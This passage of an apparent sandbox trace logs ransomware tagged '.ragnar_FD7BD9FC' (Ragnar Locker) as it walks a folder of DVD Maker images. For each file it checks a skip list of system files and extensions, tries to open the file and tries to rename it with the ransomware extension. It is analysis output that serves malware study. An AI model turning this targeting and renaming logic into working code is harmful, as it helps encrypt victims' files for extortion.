(lpString1=".png", lpString2=".drv") returned 1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0079.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.139] CloseHandle (hObject=0xffffffff) returned 0 [0079.139] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" [0079.139] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ragnar_FD7BD9FC" [0079.139] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.139] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0079.139] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.139] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-previous-over-select.png" | out: lpString1="Pets_btn-previous-over-select.png") returned="Pets_btn-previous-over-select.png" [0079.139] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned=".png" [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="autorun.inf") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="boot.ini") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootfont.bin") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootsect.bak") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootmgr") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootmgr.efi") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootmgfw.efi") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="desktop.ini") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="iconcache.db") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntldr") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntuser.dat") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntuser.dat.log") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntuser.ini") returned 1 [0079.139] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="thumbs.db") returned -1 [0079.139] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.139] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.140] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.140] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.140] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.140] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.140] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0079.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.140] CloseHandle (hObject=0xffffffff) returned 0 [0079.140] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" [0079.140] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ragnar_FD7BD9FC" [0079.140] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.140] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.140] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.140] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-previous-static.png" | out: lpString1="Pets_btn-previous-static.png") returned="Pets_btn-previous-static.png" [0079.140] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned=".png" [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="autorun.inf") returned 1 [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="boot.ini") returned 1 [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootfont.bin") returned 1 [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootsect.bak") returned 1 [0079.140] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootmgr") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootmgr.efi") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootmgfw.efi") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="desktop.ini") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="iconcache.db") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntldr") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntuser.dat") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntuser.dat.log") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntuser.ini") returned 1 [0079.141] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="thumbs.db") returned -1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.141] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0079.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.141] CloseHandle (hObject=0xffffffff) returned 0 [0079.141] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" [0079.141] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ragnar_FD7BD9FC" [0079.141] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.142] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0079.142] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.142] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_frame-border.png" | out: lpString1="Pets_frame-border.png") returned="Pets_frame-border.png" [0079.142] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned=".png" [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="autorun.inf") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="boot.ini") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootfont.bin") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootsect.bak") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootmgr") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootmgr.efi") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootmgfw.efi") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="desktop.ini") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="iconcache.db") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntldr") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntuser.dat") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntuser.dat.log") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntuser.ini") returned 1 [0079.142] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="thumbs.db") returned -1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.142] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0079.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.143] CloseHandle (hObject=0xffffffff) returned 0 [0079.143] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" [0079.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ragnar_FD7BD9FC" [0079.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.143] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0079.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.143] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_frame-highlight.png" | out: lpString1="Pets_frame-highlight.png") returned="Pets_frame-highlight.png" [0079.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned=".png" [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="autorun.inf") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="boot.ini") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootfont.bin") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootsect.bak") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootmgr") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootmgr.efi") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootmgfw.efi") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="desktop.ini") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="iconcache.db") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntldr") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntuser.dat") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntuser.dat.log") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntuser.ini") returned 1 [0079.143] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="thumbs.db") returned -1 [0079.143] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.143] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.144] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.144] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.144] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.144] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.144] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0079.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.144] CloseHandle (hObject=0xffffffff) returned 0 [0079.144] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" [0079.144] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ragnar_FD7BD9FC" [0079.144] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.144] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0079.144] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.144] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_frame-imageMask.png" | out: lpString1="Pets_frame-imageMask.png") returned="Pets_frame-imageMask.png" [0079.144] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned=".png" [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="autorun.inf") returned 1 [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="boot.ini") returned 1 [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootfont.bin") returned 1 [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootsect.bak") returned 1 [0079.144] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootmgr") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootmgr.efi") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootmgfw.efi") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="desktop.ini") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="iconcache.db") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntldr") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntuser.dat") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntuser.dat.log") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntuser.ini") returned 1 [0079.145] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="thumbs.db") returned -1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.145] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0079.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.146] CloseHandle (hObject=0xffffffff) returned 0 [0079.146] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned="\\\\?\\C:\\Program Files\\DVD 